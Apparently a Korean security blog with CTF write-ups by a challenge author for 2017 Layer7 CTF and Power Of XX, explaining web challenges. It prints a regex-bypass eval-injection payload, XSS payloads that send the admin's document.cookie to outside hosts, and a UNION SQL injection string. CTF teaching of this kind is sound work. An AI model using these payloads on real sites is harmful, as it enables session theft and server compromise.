2017년 10월 26일 목요일

2017 Layer7 CTF Write ups


매년 열리는 Layer7 CTF, 올해 Layer7 부원이 된 나는 
2017 Layer7 CTF 문제 출제를 맡아 대회 운영을 하게 되었다.

나는 Eval injection 1개, XSS 2개 이렇게 웹 문제 총 3개를 준비했으며
문제 아이디어는 공식 레퍼런스에 올라온 함수 예제 댓글에서 취약점을 찾아서
준비한 문제 하나와, 평소에 공부하며 발견했던 버그를 오마주했다.

- Can you bypass me? - Regexp bypass, Wild card, Eval injection
Daniel's daily life blog - XSS via BBcode bypass
- Present - Javascript challenge (XSS)

Can you bypass me?





















언뜻 보면 공격이 불가능해 보이지만
preg_match의 정규식에서 /i 옵션만 주었기 때문에 개행으로 우회가 가능하다.

payload : ?eval=echo%20`cat%20flagflagflagflag.*%0a`;

이것을 막으려면 /s 옵션을 써주면 된다.


Daniel's daily life


BBcode에서 double quote를 치환해주지 않았기 때문에 escape가 가능하다.
[img]x" onerroorr=location.href="http://mydomain.com/?"+document.cookie[/img]
위와 같이 페이로드를 작성해서 어드민의 쿠키를 가져오면 된다.


present (XSS)

XSS 문제다.

contents=http://localhost/forward.php?);//*///*\=]=1;location.href="http://munsiwoo.kr/?"%252bdocument.cookie;}initialize();function%20a(){/*

위와 같이 공격이 가능하며, 어드민의 쿠키를 가져오면 된다.


2017년 10월 20일 금요일

[Power Of XX 2017] Write-ups

# Power Of XX 2017

PoC에서 주최하는 Power Of XX CTF 문제를 올해 Layer7에서 출제하게 되었다.
내가 출제한 문제는 Basic Web, sqlgame 이렇게 두 문제다.
난이도는 둘다 매우 쉽게 만들었다.

1. Basic Web (LFI + BSQLi) - Solvers : 5


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/basic_web


















exploit code :
https://github.com/munsiwoo/problems/blob/master/power_of_xx_2017/basic_web/exploit.py

2. sqlgame (SQLi) -  - Solvers : 9


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/sqlgame

















1+union+select+0x303037,1,1%23'+union+select+1,0x62616e67,schema()%23"+union+select+1,2,'007'%23